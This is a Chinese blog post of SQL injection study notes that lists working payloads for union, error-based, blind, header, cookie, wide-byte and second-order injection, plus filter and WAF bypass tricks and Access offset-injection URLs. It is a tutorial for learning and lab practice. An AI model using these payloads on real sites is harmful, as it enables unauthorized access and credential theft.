Web安全——SQL注入

已于 2022-03-16 00:00:45 修改
阅读量254 收藏 1
点赞数
文章标签： web安全 sql 数据库
于 2022-03-15 23:59:49 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_44607514/article/details/123515667
版权

SQL注入

原理

  • 用户可以构造特殊的输入来拼接到程序中执行，从而使得程序依据用户输入执行有可能存在恶意行为的代码。

MySQL数据库常用聚合函数

  • user()
  • database()
  • version()
  • updatexml(xml_document, xpath_string, new_value) （XML文档对象，XPath路径，替换数据）
  • extractvalue()
  • preg_replace(mixed $pattern , mixed $replacement , mixed $subject) （搜索模式，替换，源）
  • limit m, n

MySQL注释符

  • #
  • –空格 或 --+
  • /* */
  • /*! SQL语句 */ （内联注释，只有MySQL可以识别，常用来绕过WAF）

SQL注入分类

  • 根据位置分为两类：字符型、数字型

基于报错的SQL注入

  1. 利用order by判断字段数
    • select * from user order by 3
    • 注：以第三列作为排序
  2. 利用union select联合查询，获取表名
    • select * from user where id=‘0’’ union select 1, group_concat(table_name), 3 from information_scehma,table where table_schema=database() --+
    • 注：利用最前select报错，union后的查询做并集，查询所需数据
  3. 利用union select联合查询，获取字段名
    • select * from user where id=‘0’’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’ --+
  4. 利用union select联合查询，获取字段值
    • select * from user where id=‘0’’ union select 1,group_concat(username,0x3a,password),3 from users–+

不再显示结果的盲注

  • 盲注：向数据库发送true或false，根据应用程序返回的信息判断结果。
  • 分类：布尔型、时间型

GET基于时间的盲注

  • if( ascii( substr( database(), 1, 1 )=115, 1, sleep(3) ) )：当数据库名第一个字母的ascii等于115时，执行一次sleep(3)

GET基于布尔的盲注

  • select length( databse() );

  • select substr( databse(), 1, 1 );

  • select ascii( substr( database(), 1, 1));

  • select ascii( substr( database() , 1, 1) ) > N;

  • select ascii( substr( database(), 1, 1) ) = N;

  • select ascii( substr( database(), 1, 1) ) < N;

POST基于错误的注入

  1. 抓包
  2. 通过报错，探查单、双引号包围

GET报错注入

  • 报错注入：两个嵌套的查询：select … (select …)，先执行内层，再执行外层

  • rand()：随机函数，返回0~1之间的某个值

  • floor(a)：取整函数，返回小于a最大的整数

  • count()：聚合函数、计数函数，返回查询对象的总数

  • group by：分组，按照查询结果分组

  • eg1：select count(*) from table group by floor(rand(0)*2);

  • eg2：获取数据库名

select * from user where id='0' 
union 
select 1,2,3 from (
    select count(\*), 
		concat( (select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1), 
		floor( rand(0) \* 2 ) ) x 
        from information_schema.tables 
​	    group by x
)a --+

SQL注入绕过技术

  • 大小写绕过
  • 双写绕过
  • 编码绕过（URL编码）
  • 内联注释绕过（/*! */）

POST基于时间和布尔的盲注

  1. 时间：在注入点参数后加：and if ( length(database())>5, sleep(5), null )
  2. 布尔：
    1. select length(databse());
    2. select substr(databse(),1,1);
    3. select ascii(substr(database(),1,1));
    4. select ascii(substr(database(),1,1)) > N;
    5. select ascii(substr(database(),1,1)) = N;
    6. select ascii(substr(database(),1,1)) < N;

HTTP头部中的SQL注入

  1. User-Agent注入：“INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ($uagent, $IP, $uname)”
  2. Referer注入：’ or (length(database())) >8 or if(1=1, sleep(5), null) or ‘1’ = '1

Update语句注入

  • UPDATEtable_name SET field1=new-value1, field2=new-value2 [ WHERE clause ]
  • uname=admin&passwd=admin’ or updatexml(1, concat(0x73, version(), 0x7e), 1) #&submit=Submit

Cookie注入

  • 代码中使用Cookie传递参数，但是没有对Cookie中传递的参数进行过滤操作。导致SQL注入漏洞的产生。
  • 抓包后，修改cookie

Base64编码注入

  • Base64编码是从二进制到字符的过程，可用于在HTTP环境下传递较长的标识信息。Base64是网络上最常见的用于传输8Bit字节码的编码方式之一，Base64就是一种基于64个可打印字符来表示二进制数据的方法。
  • 将原始内容转换为二进制，从左到右依次取6位，然后在最高位补两位0，形成新的内容。
  • 编码规则：
    1. 把3个字符变成4个字符；
    2. 每76个字符加一个换行符；
    3. 最后的结束符也要处理；
      请添加图片描述
  • 使用Base64加密的注入语句，插入到Cookie对应的位置完成SQL注入漏洞的探测。
  • eg：IiBvciAxPTEgIw== 明文 " or 1=1 #

绕过去除注释符的SQL注入

  • 对于正常的SQL语句中，注释符起到说明作用的功能。但是对于在利用SQL注入漏洞过程中，注释符起到闭合 单引号、多单引号、双引号、单括号、多括号的功能。
  • 如果注释符被过滤，不能成功闭合单引号等，则用 ` or ‘1’='1` 闭合单引号等。

绕过剔除and和or的SQL

  • 基础知识
    1. MySQL中大小写不敏感
    2. MySQL中的十六进制与URL编码
    3. 符号和关键字替换：and – &&、or – ||
    4. 内联指示与多行注释 /*! 内敛注释 */ /* 多行注释 */
  • 使用preg_replace(mixed $pattern , mixed $replacement , mixed $subject)，执行一个正则表达式的搜索和替换
  • 绕过：
    1. 大小写变形
    2. 敏感词汇中添加注释，eg：a/**/nd
    3. 双写绕过，eg：oorr
    4. 利用符号替换：and <=> &&、or<=>||

绕过剔除空格的SQL注入

  • MySQL中会自动识别URL和Hex编码好的内容
  • 常见：%0a：换行、%09：TAB键（水平）、%0c：新的一页、%0d：return、%0b:TAb键（垂直）

绕过剔除黑名单（union和select）的SQL注入

  • 大小写混淆、双写绕过

宽字节SQL注入

  • 宽字节：GBK占用两字节、ASCII占用一字节

  • PHP中编码为GBK，函数执行添加的是ASCII编码，MySQL默认字符集是GBK等宽字节字符集

  • %DF’ ：会被PHP当中的addslashes函数转义为“%DF\’” ，“\”既URL里的“%5C”，那么也就是说，“%DF’”会被转成“%DF%5C%27”倘若网站的字符集是GBK，MYSQL使用的编码也是GBK的话，就会认为“%DF%5C%27”是一个宽字符。也就是“縗’”

  • 代码分析：
    请添加图片描述

    • id=%df’ --+
    • 最常使用的宽字节注入是利用%df，其实我们只要第一个ascii码大于128就可以了，
    • 比如ascii码为129的就可以，但是我们怎么将他转换为URL编码呢，其实很简单，我们先将129（十进制）转换为十六进制，为0x81，然后在十六进制前面加%即可，即为%81
    • GBK首字节对应0×81-0xFE，尾字节对应0×40-0xFE（除0×7F）

二次注入

请添加图片描述

  • 流程：
    1. 注册用户admin – 。
    2. 修改密码，查看数据库内容。
  • 危害：
    1. 触发二次SQL注入
    2. 触发XSS攻击

Access数据库

  • Access只用表的概念

  • 偏移注入利用：

  • 借用数据库的自连接查询，让数据库内部发生乱序，从而便宜出所需要的字段在页面上显示。

  • 场景：知道Access中，知道表名，但不知道字段的SQL注入困境，字段名取名复杂。暴力破解字段名不成功

  • 流程：

    1. 判断字段数：order by
    2. 判断表名：使用union select * from表名来获取
    3. 开始偏移注入，利用注入公式

  • 公式：order by 出的字段数 减去 *号的字段数，然后载用order by的字段数 减去 2倍刚才导出的答案

    eg：18 - 11 = 7，18 - 7 * 2 = 4

  • eg：

    1. http://xxx.com/test.asp?id=688 union select 1,2,3,4,a.id,b.id,* from (sys_admin as a inner join sys_admin as b on a.id = b.id)

    2. 这里union select 1,2,3,4：顾名思义就是刚才得出来的长度。

      后面的是SQL，可作公式。

    3. http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+admin

      http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,*+from+admin

      22-16 = 6 22-6*2 = 10

      http://192.168.1.110/Production/PRODUCT_DETAIL.asp?id=1513+union+select+1,2,3,4,5,6,7,8,9,10,a.id,b.id,*+from+(admin+as+a+inner+join+admin+as+b+on+a.id=b.id)

@@@@@@@@@@@@@@@@@@@@@@@@
关注
  • 0
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
PHP——SQL注入测试靶场
05-27
【PHP——SQL注入测试靶场】是一个用于学习和实践SQL注入漏洞的安全平台，它通过PHP编程语言构建，目的是帮助开发者和网络安全爱好者理解SQL注入的工作原理，以及如何防范这种常见的Web安全威胁。SQL注入是一种攻击...
web安全——手动测试
11-25
安全测试常用工具扫描进行，本次讲解内容是针对手动安全测试，包括常见关注点，三大漏洞：sql注入，xss攻击，文件上传漏洞等内容，可以方便测试人员在平时测试时就能手动测试安全问题
web安全——sql注入漏洞详解
weixin_61967363的博客
03-16 1415
sql注入漏洞知识讲解到检查流程总结
Web安全——sql注入
weixin_48888525的博客
10-22 3476
由于我的博客是学到渗透的时候才做的，没有关于WEB漏洞的笔记，现在发现WEB层面的漏洞有些不太熟悉了，边写一下笔记边复习一下，就从sql注入开始吧 话不多说先上表，基本常用的手工注入函数解释都在这 union select 联合查询，联合注入常用 database() 回显当前连接的数据库 version() 查看当前sql的版本如：mysql 1.2.3， mariadb-4.5.6 group_concat() 把产生的同一分组中的值用,连接，形成一个字符串 information
Web安全——SQL注入漏洞
2402_83242246的博客
04-23 728
web页面源代码对用户提交的参数没有做出任何过滤限制，直接扔到SQL语句中去执行，导致特殊字符改变了SQL语句原来的功能和逻辑。黑客利用此漏洞执行恶意的SQL语句，如查询数据、下载数据，写webshell、执行系统命令以此来绕过登录权限限制等。本质就是混淆数据和执行代码，使输入的数据变成可执行的语句。
安全攻防技能——Web安全——SQL注入
HTZW的博客
12-26 195
CTFSHOW WEB入门——sql注入
Chur的博客
07-22 4229
ctfshow 靶场 web入门 sql注入系列
网络安全——SQL注入实验
网络工程
12-12 2406
1、掌握SQL注入的原理。2、通过开源网站渗透平台DVWA实战，掌握常见的SQL注入方法。3、具体内容：1）学习配置开源网站渗透平台DVWA（Damn Vulnerable Web Application）。2）学习常见的SQL语句：create、select、drop、union等。3）学习相关SQL注入方法并在实验平台验证。
Web安全——SQL注入、DOS攻击
mapbar_front的博客
06-19 2224
SQL注入的危害 猜解密码 获取数据 删库删表 拖库，本来展示的一部分数据，但是可能通过SQL注入的方式得到更多的数据。 SQL注入防御 关闭错误提示。 检查数据类型。 对数据进行转义（connectoin.escape）。 使用参数化查询。（这是目前最好的解决方案，在node中，可以使用mysql2这个模块来实现）。 使用ORM（对象关系映射）。 DOS攻击的方式 一个用户进行...
web安全攻防——sql注入
weixin_67425984的博客
05-13 599
步骤一：打开虚拟机Firefox，输入网址http://110.40.154.100:8000/ 再输入网址http://110.40.154.100:8000/admin/，出现登录页，密码随意输入 步骤二：搜索安装burpsuite,打开设置，将其设为手动，点击OK 步骤三：登录Django,实现抓包，将其发送到Intruder 步骤三：在Positions中点击右侧clear5，然后框选密码add5 步骤四：点击Payloads,添加密码，随便输入多个密码，其中必有.
网络安全——SQL注入漏洞
热门推荐
weixin_54055099的博客
09-08 1万+
SQL注入基本知识和SQL注入基本流程，sqli-labs
网络安全威胁——SQL注入攻击
聚集机器学习、信息安全
04-04 9279
随着互联网的发展和普及，网络安全问题越来越突出。SQL注入（SQL Injection）攻击是其中最普遍的安全隐患之一，它利用应用程序对用户输入数据的信任，将恶意SQL代码注入到应用程序中，导致敏感信息泄露、数据损坏或删除及系统瘫痪，给企业和个人带来巨大损失。
Web应用安全：使用SQL注入绕过认证.pptx
06-17
Web应用安全领域中，SQL注入是一种常见的攻击手段，它允许攻击者通过输入恶意的SQL代码来操纵或获取数据库中的敏感信息。在这个主题中，我们将详细探讨如何使用SQL注入来绕过认证过程，主要关注两类注入——数字型...
瑞友天翼2024SQL注入漏洞poc
02-27
标题中的“瑞友天翼2024SQL注入漏洞poc”指的是瑞友天翼2024版本...总的来说，这个主题涉及到的是网络安全中的一个重要环节——SQL注入漏洞的检测和防范，以及如何利用POC脚本进行渗透测试，以提升Web应用的安全性。
SQL注入攻击——信息安全
08-20
SQL注入攻击是网络安全领域中的一种常见威胁，针对基于SQL（结构化查询语言）的数据库管理系统。这种攻击方式利用了Web应用程序在...通过这些措施，可以显著降低SQL注入攻击的风险，保障Web应用程序和数据库的安全。
网络安全相关竞赛比赛
黑战士的博客
07-18 1009
湖南省委网信办联合省教育厅、省广播电视局、省政务管理服务局、省通信管理局、长沙市人民政府等6家单位共同主办。教育部认可的大学生学科竞赛网站链接（2023版）关键字：比赛、CTF、赛事、技能挑战。浙江省大学生网络与信息安全竞赛。全国网络安全行业职业技能大赛。湖南省“网安湘军杯”
WAF+API安全代表厂商｜瑞数信息入选IDC报告《生成式AI推动下的中国网络安全硬件市场现状及技术发展趋势》
最新发布
科技云报道
07-25 681
目前，传统在Web应用安全网关等产品中的API防护功能已经不足以防护日益复杂的API攻击，API安全应站在全生命周期管理的角度，从API安全开发和部署（API测试等）开始，配合加密、身份认证、权限管控、API安全测试、检测、监测、威胁防护、威胁处理等能力来进行管理和控制。WAF可以作为硬件设备、企业软件、虚拟设备或公有云服务部署。从API的开发部署开始，融合静态应用安全测试、动态应用安全测试、API资产梳理、API鉴权认证、API检测监测、威胁管理的全生命周期防护解决方案，帮助用户一键解决API安全问题。
2024春秋杯网络安全联赛夏季赛Crypto(AK)解题思路及用到的软件
符啸九天的博客
07-22 1041
2024春秋杯网络安全联赛夏季赛Crypto解题思路以及用到的软件1.vm(虚拟机kali)和Ubuntu，正常配置即可B站有很多。2.Visual Studio Code(里面要配置python，crypto库和Sagemath数学软件系统Sagemath)。3.随波逐流工作室 (1o1o.xyz)ctf工具。2024春秋竞赛ezzzecc视频解题思路2024春秋竞赛happy2024视频解析2024春秋竞赛夏季赛Signature解题思路
标题：微软蓝屏事件：网络安全的警钟与反思
chezabo6116的博客
07-23 598
标题：微软蓝屏事件：网络安全的警钟与反思 近日，微软视窗系统软件更新引发的“微软蓝屏”事件，不仅在全球范围内引发了广泛关注，也对全球IT基础设施的韧性与安全性提出了严峻挑战。这次事件暴露了网络安全和系统稳定性方面的诸多问题。本文将从软件更新流程中的风险管理、预防大规模故障的最佳方案、以及跨领域连锁反应的行业影响三个方面，探讨如何构建更加稳固和安全的网络环境。 方向一：软件更新流程中的风险管理和质量控制机制 软件更新是系统维护的重要环节，但不当的更新流程可能会引入新的风险。此次“微软蓝屏”事件就是一个典型案例
手动探索：Web安全测试实战——SQL注入、XSS与文件上传漏洞防范
本文将深入探讨"web安全——手动测试"这一主题，主要关注以下几个关键点： 1. **安全测试与传统测试的区别**： - 目标不同：传统测试侧重于发现软件的功能缺陷（bug），而安全测试更关注识别和评估潜在的安全威胁...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值